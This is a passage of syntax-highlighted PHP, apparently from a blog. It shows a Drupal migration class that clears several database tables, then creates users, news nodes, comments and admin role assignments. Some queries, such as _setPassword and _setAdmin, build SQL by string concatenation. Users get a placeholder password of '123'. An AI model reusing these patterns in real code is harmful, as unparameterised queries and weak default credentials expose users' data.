<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="re0">$counter</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> __construct<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="st0">&#8216;users&#8217;</span> =&gt; <span class="nu0">0</span>, <span class="st0">&#8216;news&#8217;</span> =&gt; <span class="nu0">0</span>, <span class="st0">&#8216;comments&#8217;</span> =&gt; <span class="nu0">0</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">clearDatabase</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> clearDatabase<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_queries</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;users&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_users WHERE name != <span class="es0">\&#8217;</span>admin<span class="es0">\&#8217;</span> AND name != <span class="es0">\&#8217;</span>asdf<span class="es0">\&#8217;</span>&#8216;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;nodes&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_node WHERE type NOT IN (<span class="es0">\&#8217;</span>intro<span class="es0">\&#8217;</span>, <span class="es0">\&#8217;</span>adminpage<span class="es0">\&#8217;</span>)&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;comments&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_comments&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8216;terms_rel&#8217; =&gt; &#8216;DELETE FROM dp_term_node&#8217;,</span></div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8216;terms&#8217; =&gt; &#8216;DELETE FROM dp_term_data WHERE tid NOT IN (3, 6)&#8217;,</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_uid&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_uid&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_ancestry&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_ancestry&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;groups_notifications&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_og_notifications&#8217;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;dp_job_posting&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_job_posting&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;dp_job_posting_country&#8217;</span> =&gt; <span class="st0">&#8216;DELETE FROM dp_job_posting_country&#8217;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$_queries</span> <span class="kw1">as</span> <span class="re0">$query</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> createUser<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_avatar_base_path</span> = <span class="st0">&quot;sites/default/files/pictures/&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_avatar</span> = <span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;avatar&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;usuarioSinAV.jpg&quot;</span><span class="br0">&#41;</span>?<span class="kw2">NULL</span>:<span class="re0">$_avatar_base_path</span>.<span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;avatar&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_user</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;status&#8217;</span> =&gt; <span class="nu0">1</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;access&#8217;</span> =&gt; <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;name&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;username&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;pass&#8217;</span> =&gt; <span class="st0">&#8217;123&#8242;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;picture&#8217;</span> =&gt; <span class="re0">$_avatar</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_nombres&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;nombres&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_apellido&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;apellidos&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_intereses&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;about&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profesion&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;profesion&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;mail&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;email&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$user</span> = user_save<span class="br0">&#40;</span><span class="st0">&#8221;</span>, <span class="re0">$_user</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_setPassword<span class="br0">&#40;</span><span class="re0">$user</span>-&gt;<span class="me1">uid</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;password&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_setUserRole($user-&gt;uid);</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_configureProfile<span class="br0">&#40;</span><span class="re0">$data</span>, <span class="re0">$user</span>-&gt;<span class="me1">uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;admin&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> self::_setAdmin<span class="br0">&#40;</span><span class="re0">$user</span>-&gt;<span class="me1">uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">user</span> = &amp;<span class="re0">$user</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span><span class="br0">&#93;</span> = <span class="re0">$user</span>-&gt;<span class="me1">uid</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;users&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> createContent<span class="br0">&#40;</span><span class="re0">$data</span>, <span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span> = <span class="kw2">new</span> stdClass<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">type</span> = <span class="re0">$type</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">uid</span> = <span class="re0">$this</span>-&gt;<span class="me1">user</span>-&gt;<span class="me1">uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">name</span> = <span class="re0">$user</span>-&gt;<span class="me1">user</span>-&gt;<span class="me1">name</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">promote</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">format</span> = FILTER_FORMAT_DEFAULT;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">status</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">title</span> = <a href="http://www.php.net/html_entity_decode"><span class="kw3">html_entity_decode</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;titulo&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">body</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;cuerpo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">taxonomy</span> = self::_convertTaxonomy<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">comment</span> = <span class="nu0">2</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">created</span> = <a href="http://www.php.net/strtotime"><span class="kw3">strtotime</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;fecha&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[node:&quot;</span>.<span class="re0">$type</span>.<span class="st0">&quot;] &quot;</span>.<a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$node</span>-&gt;<span class="me1">title</span>, <span class="nu0">0</span>, <span class="nu0">30</span><span class="br0">&#41;</span>.<span class="st0">&quot;&#8230; (&quot;</span>.<a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$node</span>-&gt;<span class="me1">body</span>, <span class="nu0">0</span>, <span class="nu0">20</span><span class="br0">&#41;</span>.<span class="st0">&quot; &#8230;) [tax:{&quot;</span>.<a href="http://www.php.net/implode"><span class="kw3">implode</span></a><span class="br0">&#40;</span><span class="st0">&quot;;&quot;</span>, <span class="re0">$node</span>-&gt;<span class="me1">taxonomy</span><span class="br0">&#41;</span>.<span class="st0">&quot;},uid:&quot;</span>.<span class="re0">$node</span>-&gt;<span class="me1">uid</span>.<span class="st0">&quot;]<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;news&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; node_save<span class="br0">&#40;</span><span class="re0">$node</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$q</span> = <span class="st0">&quot;INSERT INTO dp_node_access(nid, grant_view, realm) VALUES((SELECT MAX(nid) FROM dp_node),1, &#8216;all&#8217;)&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span> <span class="re0">$q</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> insertCommentProfile<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[comment;autor:&quot;</span>.<span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">'autor'</span><span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="st0">&quot;,uid:&quot;</span>.<span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">'userid'</span><span class="br0">&#93;</span>.<span class="st0">&quot;] (&quot;</span>.<a href="http://www.php.net/rtrim"><span class="kw3">rtrim</span></a><span class="br0">&#40;</span><a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;comentario&#8217;</span><span class="br0">&#93;</span>, <span class="nu0">0</span>, <span class="nu0">30</span><span class="br0">&#41;</span><span class="br0">&#41;</span>.<span class="st0">&quot; &#8230;)<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO {comments} (pid, uid, hostname, comment, status, name, mail, homepage, timestamp) VALUES(%d, %d, &#8216;%s&#8217;, &#8216;%s&#8217;, %d, &#8216;%s&#8217;, &#8216;%s&#8217;, &#8216;%s&#8217;, %d)&quot;</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;userid&#8217;</span><span class="br0">&#93;</span>, <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;autor&#8217;</span><span class="br0">&#93;</span><span class="br0">&#93;</span>, <span class="st0">&#8217;127.0.0.1&#8242;</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;comentario&#8217;</span><span class="br0">&#93;</span>, <span class="nu0">1</span>, <span class="st0">&#8221;</span>, <span class="st0">&#8221;</span>, <span class="st0">&#8221;</span>, <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;comments&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _convertTaxonomy<span class="br0">&#40;</span><span class="re0">$taxonomy</span> = <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">29</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">30</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">31</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">32</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">33</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">34</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">35</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span> <span class="br0">&#40;</span><span class="re0">$taxonomy</span><span class="br0">&#41;</span>?<span class="re0">$_categories</span><span class="br0">&#91;</span>&#8211;<span class="re0">$taxonomy</span><span class="br0">&#93;</span>:<span class="nu0">35</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setPassword<span class="br0">&#40;</span><span class="re0">$id</span>, <span class="re0">$md5</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;UPDATE dp_users SET pass = &#8216;&quot;</span>.<span class="re0">$md5</span>.<span class="st0">&quot;&#8217; WHERE (name != &#8216;asdf&#8217; AND name != &#8216;admin&#8217;) AND uid = &quot;</span>.<span class="re0">$id</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setAdmin<span class="br0">&#40;</span><span class="re0">$id</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;dp_users_roles&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//$query = &quot;UPDATE &quot;.$table.&quot; SET rid = 4 WHERE uid = &quot;.$id; # 4 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot;(rid, uid) VALUES(4, &quot;</span>.<span class="re0">$id</span>.<span class="st0">&quot;)&quot;</span>; <span class="co2"># 2 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
